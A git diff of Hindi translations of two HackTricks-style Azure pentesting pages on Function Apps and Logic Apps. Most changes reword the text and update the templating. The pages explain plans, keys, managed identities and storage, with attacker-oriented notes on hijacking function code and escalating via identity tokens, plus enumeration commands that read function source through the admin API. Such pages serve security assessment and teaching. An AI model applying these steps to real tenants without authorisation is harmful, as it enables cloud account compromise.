index 55a438933..a8fdf5d9e 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md @@ -11,92 +11,92 @@ ### Different Plans -- **Flex Consumption Plan**: **dynamic, event-driven scaling** के साथ pay-as-you-go मूल्य निर्धारण प्रदान करता है, मांग के आधार पर function उदाहरणों को जोड़ने या हटाने की अनुमति देता है। यह **virtual networking** और **pre-provisioned instances** का समर्थन करता है ताकि ठंडी शुरुआत को कम किया जा सके, जिससे यह **variable workloads** के लिए उपयुक्त है जिन्हें कंटेनर समर्थन की आवश्यकता नहीं है। -- **Traditional Consumption Plan**: डिफ़ॉल्ट serverless विकल्प, जहां आप **केवल तब भुगतान करते हैं जब functions चलते हैं**। यह आने वाली घटनाओं के आधार पर स्वचालित रूप से स्केल करता है और इसमें **cold start optimizations** शामिल हैं, लेकिन यह कंटेनर तैनाती का समर्थन नहीं करता है। **intermittent workloads** के लिए आदर्श जो स्वचालित स्केलिंग की आवश्यकता होती है। -- **Premium Plan**: **consistent performance** के लिए डिज़ाइन किया गया है, जिसमें ठंडी शुरुआत को समाप्त करने के लिए **prewarmed workers** होते हैं। यह **extended execution times, virtual networking** प्रदान करता है, और **custom Linux images** का समर्थन करता है, जिससे यह **mission-critical applications** के लिए आदर्श है जिन्हें उच्च प्रदर्शन और उन्नत सुविधाओं की आवश्यकता होती है। -- **Dedicated Plan**: समर्पित वर्चुअल मशीनों पर चलता है जिसमें **predictable billing** होता है और मैनुअल या स्वचालित स्केलिंग का समर्थन करता है। यह एक ही योजना पर कई ऐप चलाने की अनुमति देता है, **compute isolation** प्रदान करता है, और App Service Environments के माध्यम से **secure network access** सुनिश्चित करता है, जिससे यह **long-running applications** के लिए आदर्श है जिन्हें लगातार संसाधन आवंटन की आवश्यकता होती है। -- **Container Apps**: एक प्रबंधित वातावरण में **containerized function apps** को तैनात करने की अनुमति देता है, माइक्रोसर्विसेज और APIs के साथ। यह कस्टम पुस्तकालयों, विरासती ऐप माइग्रेशन, और **GPU processing** का समर्थन करता है, जिससे Kubernetes क्लस्टर प्रबंधन समाप्त हो जाता है। **event-driven, scalable containerized applications** के लिए आदर्श। +- **Flex Consumption Plan**: **डायनामिक, इवेंट-ड्रिवेन स्केलिंग** के साथ पे-एज़-यू-गो मूल्य निर्धारण प्रदान करता है, मांग के आधार पर फ़ंक्शन उदाहरणों को जोड़ने या हटाने की अनुमति देता है। यह **वर्चुअल नेटवर्किंग** और **पूर्व-प्रावधानित उदाहरणों** का समर्थन करता है ताकि ठंडी शुरुआत को कम किया जा सके, जिससे यह **परिवर्तनीय कार्यभार** के लिए उपयुक्त है जिसे कंटेनर समर्थन की आवश्यकता नहीं है। +- **Traditional Consumption Plan**: डिफ़ॉल्ट serverless विकल्प, जहां आप **केवल तब कंप्यूट संसाधनों के लिए भुगतान करते हैं जब फ़ंक्शन चलते हैं**। यह आने वाली घटनाओं के आधार पर स्वचालित रूप से स्केल करता है और इसमें **कोल्ड स्टार्ट ऑप्टिमाइजेशन** शामिल हैं, लेकिन यह कंटेनर तैनाती का समर्थन नहीं करता है। स्वचालित स्केलिंग की आवश्यकता वाले **अवधिक कार्यभार** के लिए आदर्श। +- **Premium Plan**: **संगत प्रदर्शन** के लिए डिज़ाइन किया गया है, जिसमें ठंडी शुरुआत को समाप्त करने के लिए **पूर्व-गर्म श्रमिक** होते हैं। यह **विस्तारित निष्पादन समय, वर्चुअल नेटवर्किंग** प्रदान करता है, और **कस्टम लिनक्स छवियों** का समर्थन करता है, जिससे यह **मिशन-क्रिटिकल अनुप्रयोगों** के लिए आदर्श है जिन्हें उच्च प्रदर्शन और उन्नत सुविधाओं की आवश्यकता होती है। +- **Dedicated Plan**: समर्पित वर्चुअल मशीनों पर चलता है जिसमें **पूर्वानुमेय बिलिंग** होती है और मैनुअल या स्वचालित स्केलिंग का समर्थन करता है। यह एक ही योजना पर कई ऐप चलाने की अनुमति देता है, **कंप्यूट आइसोलेशन** प्रदान करता है, और **App Service Environments** के माध्यम से **सुरक्षित नेटवर्क एक्सेस** सुनिश्चित करता है, जिससे यह **लंबे समय तक चलने वाले अनुप्रयोगों** के लिए आदर्श है जिन्हें लगातार संसाधन आवंटन की आवश्यकता होती है। +- **Container Apps**: एक प्रबंधित वातावरण में **कंटेनराइज्ड फ़ंक्शन ऐप्स** को तैनात करने की अनुमति देता है, माइक्रोसर्विसेज और APIs के साथ। यह कस्टम पुस्तकालयों, विरासती ऐप माइग्रेशन, और **GPU प्रोसेसिंग** का समर्थन करता है, जिससे Kubernetes क्लस्टर प्रबंधन समाप्त हो जाता है। **इवेंट-ड्रिवेन, स्केलेबल कंटेनराइज्ड अनुप्रयोगों** के लिए आदर्श। ### **Storage Buckets** -जब एक नया Function App बनाया जाता है जो कंटेनर नहीं है (लेकिन चलाने के लिए कोड देता है), तो **कोड और अन्य Function से संबंधित डेटा एक Storage account में संग्रहीत किया जाएगा**। डिफ़ॉल्ट रूप से, वेब कंसोल प्रत्येक फ़ंक्शन के लिए कोड संग्रहीत करने के लिए एक नया बनाएगा। +जब एक नया फ़ंक्शन ऐप बनाया जाता है जो कंटेनराइज नहीं होता (लेकिन चलाने के लिए कोड देता है), तो **कोड और अन्य फ़ंक्शन से संबंधित डेटा एक स्टोरेज खाते में संग्रहीत किया जाएगा**। डिफ़ॉल्ट रूप से, वेब कंसोल प्रत्येक फ़ंक्शन के लिए कोड संग्रहीत करने के लिए एक नया बनाएगा। -इसके अलावा, बकेट के अंदर कोड को संशोधित करने पर (जिस विभिन्न प्रारूपों में इसे संग्रहीत किया जा सकता है), **ऐप का कोड नए कोड में संशोधित किया जाएगा और अगली बार जब Function को कॉल किया जाएगा तो इसे निष्पादित किया जाएगा**। +इसके अलावा, बकेट के अंदर कोड को संशोधित करने पर (जिस विभिन्न प्रारूपों में इसे संग्रहीत किया जा सकता है), **ऐप का कोड नए कोड में संशोधित किया जाएगा और अगली बार फ़ंक्शन को कॉल करने पर निष्पादित किया जाएगा**। > [!CAUTION] -> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि **इस बकेट पर लिखने की पहुंच** एक हमलावर को **कोड से समझौता करने और Function App के अंदर प्रबंधित पहचान को बढ़ाने** की अनुमति देगी। +> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि **इस बकेट पर लिखने की पहुंच** एक हमलावर को **कोड से समझौता करने और फ़ंक्शन ऐप के अंदर प्रबंधित पहचान को बढ़ाने** की अनुमति देगी। > > इस पर अधिक जानकारी **privilege escalation section** में है। -यह भी संभव है कि **master और functions keys** को स्टोरेज अकाउंट में **`azure-webjobs-secrets`** कंटेनर में **``** फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो। +यह भी संभव है कि **मास्टर और फ़ंक्शन कुंजी** को स्टोरेज खाते में **`azure-webjobs-secrets`** कंटेनर में **``** फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो। -ध्यान दें कि Functions को एक दूरस्थ स्थान पर कोड संग्रहीत करने की अनुमति भी है, बस इसके लिए URL निर्दिष्ट करके। +ध्यान दें कि फ़ंक्शन भी कोड को एक दूरस्थ स्थान पर संग्रहीत करने की अनुमति देते हैं बस इसके लिए URL निर्दिष्ट करके। ### Networking -HTTP ट्रिगर का उपयोग करते समय: +HTTP ट्रिगर का उपयोग करते हुए: -- यह संभव है कि **इंटरनेट से एक फ़ंक्शन को सभी को पहुंच प्रदान करें** बिना किसी प्रमाणीकरण की आवश्यकता के या IAM आधारित पहुंच प्रदान करें। हालांकि, इस पहुंच को प्रतिबंधित करना भी संभव है। -- यह भी संभव है कि **एक आंतरिक नेटवर्क (VPC)** से एक Function App को **पहुंच प्रदान करें या प्रतिबंधित करें**। +- यह संभव है कि **इंटरनेट से किसी फ़ंक्शन को सभी को एक्सेस देने** के लिए कोई प्रमाणीकरण की आवश्यकता न हो या IAM आधारित एक्सेस दिया जाए। हालांकि, इस एक्सेस को प्रतिबंधित करना भी संभव है। +- यह भी संभव है कि **एक आंतरिक नेटवर्क (VPC)** से एक फ़ंक्शन ऐप को **एक्सेस दिया जाए या प्रतिबंधित किया जाए**। > [!CAUTION] -> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि यह संभव है कि **एक कमजोर Function से आंतरिक नेटवर्क पर पिवट करना**। +> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि यह संभव है कि **एक कमजोर फ़ंक्शन से इंटरनेट पर आंतरिक नेटवर्क में पिवट किया जा सके**। ### **Function App Settings & Environment Variables** -यह एक ऐप के अंदर पर्यावरण चर को कॉन्फ़िगर करना संभव है, जिसमें संवेदनशील जानकारी हो सकती है। इसके अलावा, डिफ़ॉल्ट रूप से env चर **`AzureWebJobsStorage`** और **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (अन्य के बीच) बनाए जाते हैं। ये विशेष रूप से दिलचस्प हैं क्योंकि वे **ऐप्लिकेशन के डेटा को नियंत्रित करने के लिए स्टोरेज अकाउंट की कुंजी को पूर्ण अनुमतियों के साथ** शामिल करते हैं। इन सेटिंग्स की आवश्यकता भी होती है ताकि स्टोरेज अकाउंट से कोड निष्पादित किया जा सके। +यह ऐप के अंदर पर्यावरण चर को कॉन्फ़िगर करना संभव है, जिसमें संवेदनशील जानकारी हो सकती है। इसके अलावा, डिफ़ॉल्ट रूप से env चर **`AzureWebJobsStorage`** और **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (अन्य के बीच) बनाए जाते हैं। ये विशेष रूप से दिलचस्प हैं क्योंकि वे **ऐप्लिकेशन के डेटा को नियंत्रित करने के लिए स्टोरेज खाते की कुंजी को पूर्ण अनुमतियों के साथ** शामिल करते हैं। इन सेटिंग्स की आवश्यकता भी स्टोरेज खाते से कोड निष्पादित करने के लिए होती है। -ये env चर या कॉन्फ़िगरेशन पैरामीटर यह भी नियंत्रित करते हैं कि Function कोड को कैसे निष्पादित करता है, उदाहरण के लिए यदि **`WEBSITE_RUN_FROM_PACKAGE`** मौजूद है, तो यह उस URL को इंगित करेगा जहां ऐप्लिकेशन का कोड स्थित है। +ये env चर या कॉन्फ़िगरेशन पैरामीटर यह भी नियंत्रित करते हैं कि फ़ंक्शन कोड को कैसे निष्पादित करता है, उदाहरण के लिए यदि **`WEBSITE_RUN_FROM_PACKAGE`** मौजूद है, तो यह उस URL को इंगित करेगा जहां ऐप्लिकेशन का कोड स्थित है। ### **Function Sandbox** -Linux सैंडबॉक्स के अंदर स्रोत कोड **`/home/site/wwwroot`** में **`function_app.py`** (यदि Python का उपयोग किया गया है) में स्थित है, कोड चलाने वाला उपयोगकर्ता **`app`** है (बिना sudo अनुमतियों के)। +लिनक्स सैंडबॉक्स के अंदर स्रोत कोड **`/home/site/wwwroot`** में फ़ाइल **`function_app.py`** (यदि पायथन का उपयोग किया गया है) में स्थित है, कोड चलाने वाला उपयोगकर्ता **`app`** है (बिना sudo अनुमतियों के)। -एक **Windows** फ़ंक्शन में NodeJS का उपयोग करते समय कोड **`C:\home\site\wwwroot\HttpTrigger1\index.js`** में स्थित था, उपयोगकर्ता नाम **`mawsFnPlaceholder8_f_v4_node_20_x86`** था और यह **groups** का हिस्सा था: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`। +एक **Windows** फ़ंक्शन में NodeJS का उपयोग करते हुए कोड **`C:\home\site\wwwroot\HttpTrigger1\index.js`** में स्थित था, उपयोगकर्ता नाम **`mawsFnPlaceholder8_f_v4_node_20_x86`** था और यह **groups** का हिस्सा था: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`। ### **Managed Identities & Metadata** -जैसे कि [**VMs**](vms/index.html) में, Functions के पास **Managed Identities** के 2 प्रकार हो सकते हैं: System assigned और User assigned। +जैसे कि [**VMs**](vms/index.html) में, फ़ंक्शंस के पास **Managed Identities** के 2 प्रकार हो सकते हैं: सिस्टम असाइन और यूजर असाइन। -**system assigned** एक प्रबंधित पहचान होगी जिसे **केवल वही फ़ंक्शन** उपयोग कर सकेगा जिसे यह सौंपा गया है, जबकि **user assigned** प्रबंधित पहचानें हैं जिन्हें **कोई अन्य Azure सेवा उपयोग कर सकेगी**। +**सिस्टम असाइन** वाला एक प्रबंधित पहचान होगी जिसे **केवल वही फ़ंक्शन** उपयोग कर सकेगा जिसे यह असाइन किया गया है, जबकि **यूजर असाइन** प्रबंधित पहचानें ऐसी प्रबंधित पहचान हैं जिन्हें **कोई अन्य Azure सेवा उपयोग कर सकेगी**। > [!NOTE] -> जैसे कि [**VMs**](vms/index.html) में, Functions के पास **1 system assigned** प्रबंधित पहचान और **कई user assigned** हो सकते हैं, इसलिए यदि आप फ़ंक्शन से समझौता करते हैं तो सभी को खोजने का प्रयास करना हमेशा महत्वपूर्ण होता है क्योंकि आप केवल एक Function से कई प्रबंधित पहचान को बढ़ा सकते हैं। +> जैसे कि [**VMs**](vms/index.html) में, फ़ंक्शंस के पास **1 सिस्टम असाइन** प्रबंधित पहचान और **कई यूजर असाइन** प्रबंधित पहचान हो सकती हैं, इसलिए यदि आप फ़ंक्शन से समझौता करते हैं तो सभी को खोजने का प्रयास करना हमेशा महत्वपूर्ण होता है क्योंकि आप केवल एक फ़ंक्शन से कई प्रबंधित पहचान को बढ़ा सकते हैं। > -> यदि कोई system managed identity का उपयोग नहीं किया जाता है लेकिन एक या अधिक user managed identities एक फ़ंक्शन से जुड़ी होती हैं, तो डिफ़ॉल्ट रूप से आप कोई टोकन प्राप्त नहीं कर पाएंगे। +> यदि कोई सिस्टम प्रबंधित पहचान का उपयोग नहीं किया गया है लेकिन एक या अधिक यूजर प्रबंधित पहचानें फ़ंक्शन से जुड़ी हैं, तो डिफ़ॉल्ट रूप से आप कोई टोकन प्राप्त नहीं कर पाएंगे। -आप [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) का उपयोग करके मेटाडेटा एंडपॉइंट से डिफ़ॉल्ट प्रबंधित पहचान से टोकन प्राप्त कर सकते हैं। या आप उन्हें **मैन्युअल रूप से** प्राप्त कर सकते हैं जैसा कि समझाया गया है: +आप [**PEASS स्क्रिप्ट्स**](https://github.com/peass-ng/PEASS-ng) का उपयोग करके मेटाडेटा एंडपॉइंट से डिफ़ॉल्ट प्रबंधित पहचान से टोकन प्राप्त कर सकते हैं। या आप उन्हें **हाथ से** प्राप्त कर सकते हैं जैसा कि समझाया गया है: {% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %} -ध्यान दें कि आपको यह पता लगाने की आवश्यकता है कि **एक फ़ंक्शन के पास जुड़ी सभी Managed Identities की जांच कैसे करें** क्योंकि यदि आप इसे निर्दिष्ट नहीं करते हैं, तो मेटाडेटा एंडपॉइंट **केवल डिफ़ॉल्ट एक का उपयोग करेगा** (अधिक जानकारी के लिए पिछले लिंक की जांच करें)। +ध्यान दें कि आपको यह पता लगाने की आवश्यकता है कि **एक फ़ंक्शन के पास जुड़ी सभी प्रबंधित पहचान** की जांच करने का एक तरीका है क्योंकि यदि आप इसे निर्दिष्ट नहीं करते हैं, तो मेटाडेटा एंडपॉइंट **केवल डिफ़ॉल्ट एक** का उपयोग करेगा (अधिक जानकारी के लिए पिछले लिंक की जांच करें)। ## Access Keys > [!NOTE] -> ध्यान दें कि उपयोगकर्ताओं को फ़ंक्शंस को सक्रिय करने के लिए पहुंच देने के लिए कोई RBAC अनुमतियाँ नहीं हैं। **फ़ंक्शन सक्रियण उस ट्रिगर पर निर्भर करता है** जो इसे बनाया गया था और यदि एक HTTP ट्रिगर चुना गया था, तो इसे **एक्सेस की** का उपयोग करने की आवश्यकता हो सकती है। +> ध्यान दें कि उपयोगकर्ताओं को फ़ंक्शंस को सक्रिय करने के लिए एक्सेस देने के लिए कोई RBAC अनुमतियाँ नहीं हैं। **फ़ंक्शन सक्रियण उस ट्रिगर पर निर्भर करता है** जो इसे बनाया गया था और यदि एक HTTP ट्रिगर चुना गया था, तो फ़ंक्शन को सक्रिय करने के लिए **एक एक्सेस कुंजी** का उपयोग करना आवश्यक हो सकता है। -एक फ़ंक्शन के अंदर एक एंडपॉइंट बनाते समय **HTTP ट्रिगर** का उपयोग करते समय, यह संभव है कि **फंक्शन को सक्रिय करने के लिए आवश्यक एक्सेस की प्राधिकरण स्तर** को निर्दिष्ट करें। तीन विकल्प उपलब्ध हैं: +एक फ़ंक्शन के अंदर एक एंडपॉइंट बनाते समय **HTTP ट्रिगर** का उपयोग करते हुए, यह संभव है कि फ़ंक्शन को सक्रिय करने के लिए आवश्यक **एक्सेस कुंजी प्राधिकरण स्तर** को निर्दिष्ट किया जाए। तीन विकल्प उपलब्ध हैं: -- **ANONYMOUS**: **हर कोई** URL के माध्यम से फ़ंक्शन तक पहुंच सकता है। -- **FUNCTION**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जो **फंक्शन, होस्ट या मास्टर की** का उपयोग कर रहे हैं। -- **ADMIN**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जिनके पास **मास्टर की** है। +- **ANONYMOUS**: **हर कोई** URL के माध्यम से फ़ंक्शन तक पहुँच सकता है। +- **FUNCTION**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जो **फंक्शन, होस्ट या मास्टर कुंजी** का उपयोग कर रहे हैं। +- **ADMIN**: एंडपॉइंट केवल उन उपयोगकर्ताओं के लिए सुलभ है जिनके पास **मास्टर कुंजी** है। **कुंजी के प्रकार:** -- **Function Keys:** फ़ंक्शन कुंजियाँ या तो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित हो सकती हैं और इन्हें विशेष रूप से **Function App के भीतर विशिष्ट फ़ंक्शन एंडपॉइंट्स** तक पहुंच प्रदान करने के लिए डिज़ाइन किया गया है जिससे एंडपॉइंट्स पर अधिक बारीक पहुंच मिलती है। -- **Host Keys:** होस्ट कुंजियाँ, जो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित भी हो सकती हैं, **Function App के भीतर सभी फ़ंक्शन एंडपॉइंट्स तक FUNCTION एक्सेस स्तर** के साथ पहुंच प्रदान करती हैं। -- **Master Key:** मास्टर की (`_master`) एक प्रशासनिक कुंजी के रूप में कार्य करती है जो सभी फ़ंक्शन एंडपॉइंट्स (ADMIN एक्सेस स्तर सहित) तक पहुंच प्रदान करती है। यह **कुंजी रद्द नहीं की जा सकती।** -- **System Keys:** सिस्टम कुंजियाँ **विशिष्ट एक्सटेंशन द्वारा प्रबंधित** होती हैं और आंतरिक घटकों द्वारा उपयोग किए जाने वाले वेबहुक एंडपॉइंट्स तक पहुंच के लिए आवश्यक होती हैं। उदाहरणों में इवेंट ग्रिड ट्रिगर और ड्यूरेबल फ़ंक्शंस शामिल हैं, जो अपने संबंधित APIs के साथ सुरक्षित रूप से बातचीत करने के लिए सिस्टम कुंजियों का उपयोग करते हैं। +- **Function Keys:** फ़ंक्शन कुंजी या तो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित हो सकती हैं और इन्हें विशेष रूप से **एक फ़ंक्शन ऐप के भीतर विशिष्ट फ़ंक्शन एंडपॉइंट्स** तक पहुँच प्रदान करने के लिए डिज़ाइन किया गया है जिससे एंडपॉइंट्स पर अधिक बारीक़ी से पहुँच मिलती है। +- **Host Keys:** होस्ट कुंजी, जो डिफ़ॉल्ट या उपयोगकर्ता-परिभाषित भी हो सकती हैं, **एक फ़ंक्शन ऐप के भीतर सभी फ़ंक्शन एंडपॉइंट्स तक पहुँच प्रदान करती हैं जिनका FUNCTION एक्सेस स्तर है**। +- **Master Key:** मास्टर कुंजी (`_master`) एक प्रशासनिक कुंजी के रूप में कार्य करती है जो सभी फ़ंक्शन एंडपॉइंट्स (ADMIN एक्सेस स्तर सहित) तक पहुँच प्रदान करती है। यह **कुंजी रद्द नहीं की जा सकती।** +- **System Keys:** सिस्टम कुंजी **विशिष्ट एक्सटेंशन द्वारा प्रबंधित** होती हैं और आंतरिक घटकों द्वारा उपयोग किए जाने वाले वेबहुक एंडपॉइंट्स तक पहुँच के लिए आवश्यक होती हैं। उदाहरणों में इवेंट ग्रिड ट्रिगर और ड्यूरेबल फ़ंक्शंस शामिल हैं, जो अपने संबंधित APIs के साथ सुरक्षित रूप से बातचीत करने के लिए सिस्टम कुंजी का उपयोग करते हैं। > [!TIP] -> कुंजी का उपयोग करके फ़ंक्शन API एंडपॉइंट तक पहुंचने का उदाहरण: +> कुंजी का उपयोग करके फ़ंक्शन API एंडपॉइंट तक पहुँचने का उदाहरण: > > `https://.azurewebsites.net/api/?code=` ### Basic Authentication -जैसे कि App Services में, Functions भी **SCM** और **FTP** से कनेक्ट करने के लिए बुनियादी प्रमाणीकरण का समर्थन करते हैं ताकि कोड को **Azure द्वारा प्रदान किए गए URL में उपयोगकर्ता नाम और पासवर्ड** का उपयोग करके तैनात किया जा सके। इसके बारे में अधिक जानकारी: +जैसे कि ऐप सेवाओं में, फ़ंक्शंस भी **SCM** और **FTP** से कनेक्ट करने के लिए बुनियादी प्रमाणीकरण का समर्थन करते हैं ताकि कोड को **Azure द्वारा प्रदान किए गए URL में उपयोगकर्ता नाम और पासवर्ड** का उपयोग करके तैनात किया जा सके। इसके बारे में अधिक जानकारी: {{#ref}} az-app-services.md @@ -104,7 +104,7 @@ az-app-services.md ### Github Based Deployments -जब एक फ़ंक्शन एक Github रिपॉजिटरी से उत्पन्न होता है, तो Azure वेब कंसोल **एक विशिष्ट रिपॉजिटरी में स्वचालित रूप से एक Github वर्कफ़्लो बनाने** की अनुमति देता है ताकि जब भी इस रिपॉजिटरी को अपडेट किया जाए, फ़ंक्शन का कोड अपडेट हो जाए। वास्तव में, एक Python फ़ंक्शन के लिए Github Action yaml इस तरह दिखता है: +जब एक फ़ंक्शन एक Github रिपॉजिटरी से उत्पन्न होता है, तो Azure वेब कंसोल **एक विशिष्ट रिपॉजिटरी में स्वचालित रूप से एक Github वर्कफ़्लो बनाने** की अनुमति देता है ताकि जब भी इस रिपॉजिटरी को अपडेट किया जाए, फ़ंक्शन का कोड अपडेट हो जाए। वास्तव में, एक पायथन फ़ंक्शन के लिए Github Action yaml इस तरह दिखता है:
@@ -199,15 +199,14 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }} ### Container Based Deployments -सभी योजनाएँ कंटेनर को तैनात करने की अनुमति नहीं देती हैं, लेकिन जिनके लिए अनुमति है, उनके लिए कॉन्फ़िगरेशन में कंटेनर का URL होगा। API में **`linuxFxVersion`** सेटिंग कुछ इस तरह होगी: `DOCKER|mcr.microsoft.com/...`, जबकि वेब कंसोल में, कॉन्फ़िगरेशन **image settings** दिखाएगा। +सभी योजनाएँ कंटेनर को तैनात करने की अनुमति नहीं देती हैं, लेकिन जिनमें अनुमति है, उनके लिए कॉन्फ़िगरेशन में कंटेनर का URL होगा। API में **`linuxFxVersion`** सेटिंग कुछ इस तरह होगी: `DOCKER|mcr.microsoft.com/...`, जबकि वेब कंसोल में, कॉन्फ़िगरेशन **image settings** दिखाएगा। इसके अलावा, **कोई स्रोत कोड स्टोरेज** खाते में संग्रहीत नहीं किया जाएगा जो फ़ंक्शन से संबंधित है क्योंकि इसकी आवश्यकता नहीं है। ## Enumeration -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List all the functions az functionapp list @@ -253,11 +252,9 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func # Get source code az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.Functions @@ -273,9 +270,9 @@ Get-AzFunctionAppPlan -ResourceGroupName -Name # Retrieves the app settings for a specific Azure Function App. Get-AzFunctionAppSetting -Name -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} + ## विशेषाधिकार वृद्धि diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md index 74ad8586b..19c3e1414 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md @@ -10,8 +10,8 @@ Logic Apps एक दृश्य डिज़ाइनर प्रदान ### Examples -- **डेटा पाइपलाइनों को स्वचालित करना**: Logic Apps **डेटा स्थानांतरण और रूपांतरण प्रक्रियाओं** को Azure Data Factory के साथ मिलाकर स्वचालित कर सकता है। यह विभिन्न डेटा स्टोर्स, जैसे Azure SQL Database और Azure Blob Storage के बीच डेटा को स्थानांतरित और रूपांतरित करने के लिए स्केलेबल और विश्वसनीय डेटा पाइपलाइनों को बनाने में सहायक है, जो विश्लेषण और व्यावसायिक बुद्धिमत्ता संचालन में मदद करता है। -- **Azure Functions के साथ एकीकृत करना**: Logic Apps Azure Functions के साथ मिलकर **जटिल, इवेंट-चालित अनुप्रयोगों को विकसित कर सकता है जो आवश्यकतानुसार स्केल करते हैं** और अन्य Azure सेवाओं के साथ सहजता से एकीकृत होते हैं। एक उदाहरण उपयोग मामला यह है कि एक Logic App का उपयोग कुछ घटनाओं के जवाब में Azure Function को ट्रिगर करने के लिए किया जाता है, जैसे Azure Storage खाते में परिवर्तन, जो गतिशील डेटा प्रोसेसिंग की अनुमति देता है। +- **डेटा पाइपलाइनों का स्वचालन**: Logic Apps **डेटा ट्रांसफर और रूपांतरण प्रक्रियाओं** को Azure Data Factory के साथ मिलाकर स्वचालित कर सकता है। यह विभिन्न डेटा स्टोर्स, जैसे Azure SQL Database और Azure Blob Storage के बीच डेटा को स्थानांतरित और रूपांतरित करने के लिए स्केलेबल और विश्वसनीय डेटा पाइपलाइनों को बनाने में सहायक है, जो विश्लेषण और व्यावसायिक बुद्धिमत्ता संचालन में मदद करता है। +- **Azure Functions के साथ एकीकरण**: Logic Apps Azure Functions के साथ मिलकर **जटिल, इवेंट-चालित अनुप्रयोगों को विकसित करने** में सक्षम है जो आवश्यकतानुसार स्केल करते हैं और अन्य Azure सेवाओं के साथ सहजता से एकीकृत होते हैं। एक उदाहरण उपयोग मामला यह है कि एक Logic App का उपयोग कुछ घटनाओं के जवाब में Azure Function को ट्रिगर करने के लिए किया जाता है, जैसे Azure Storage खाते में परिवर्तन, जो गतिशील डेटा प्रोसेसिंग की अनुमति देता है। ### Visualize a LogicAPP @@ -35,17 +35,16 @@ curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e9741 There are several hosting options: * **Consumption** -- **Multi-tenant**: साझा कंप्यूट संसाधनों को प्रदान करता है, सार्वजनिक क्लाउड में संचालित होता है, और प्रति ऑपरेशन मूल्य निर्धारण मॉडल का पालन करता है। यह हल्के और लागत-कुशल कार्यभार के लिए आदर्श है। +- **Multi-tenant**: साझा कंप्यूट संसाधनों को प्रदान करता है, सार्वजनिक क्लाउड में संचालित होता है, और प्रति संचालन मूल्य निर्धारण मॉडल का पालन करता है। यह हल्के और लागत-कुशल कार्यभार के लिए आदर्श है। * **Standard** -- **Workflow Service Plan**: नेटवर्किंग के लिए VNET एकीकरण के साथ समर्पित कंप्यूट संसाधन और प्रति वर्कफ़्लो सेवा योजना उदाहरण के लिए चार्ज करता है। यह अधिक मांग वाले कार्यभार के लिए उपयुक्त है जो अधिक नियंत्रण की आवश्यकता होती है। +- **Workflow Service Plan**: नेटवर्किंग के लिए VNET एकीकरण के साथ समर्पित कंप्यूट संसाधन और प्रति वर्कफ़्लो सेवा योजना उदाहरण के लिए शुल्क। यह अधिक मांग वाले कार्यभार के लिए उपयुक्त है जो अधिक नियंत्रण की आवश्यकता होती है। - **App Service Environment V3** समर्पित कंप्यूट संसाधन पूर्ण अलगाव और स्केलेबिलिटी के साथ। यह नेटवर्किंग के लिए VNET के साथ भी एकीकृत होता है और वातावरण के भीतर App Service उदाहरणों के आधार पर मूल्य निर्धारण मॉडल का उपयोग करता है। यह उच्च अलगाव की आवश्यकता वाले उद्यम-स्तरीय अनुप्रयोगों के लिए आदर्श है। -- **Hybrid** स्थानीय प्रसंस्करण और मल्टी-क्लाउड समर्थन के लिए डिज़ाइन किया गया है। यह स्थानीय नेटवर्क एक्सेस के साथ ग्राहक-प्रबंधित कंप्यूट संसाधनों की अनुमति देता है और Kubernetes इवेंट-ड्रिवेन ऑटोस्केलिंग (KEDA) का उपयोग करता है। +- **Hybrid** स्थानीय प्रसंस्करण और मल्टी-क्लाउड समर्थन के लिए डिज़ाइन किया गया। यह स्थानीय नेटवर्क पहुंच के साथ ग्राहक-प्रबंधित कंप्यूट संसाधनों की अनुमति देता है और Kubernetes Event-Driven Autoscaling (KEDA) का उपयोग करता है। ### Enumeration -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List az logic workflow list --resource-group @@ -108,11 +107,9 @@ az logicapp show --name --resource-group # List all application 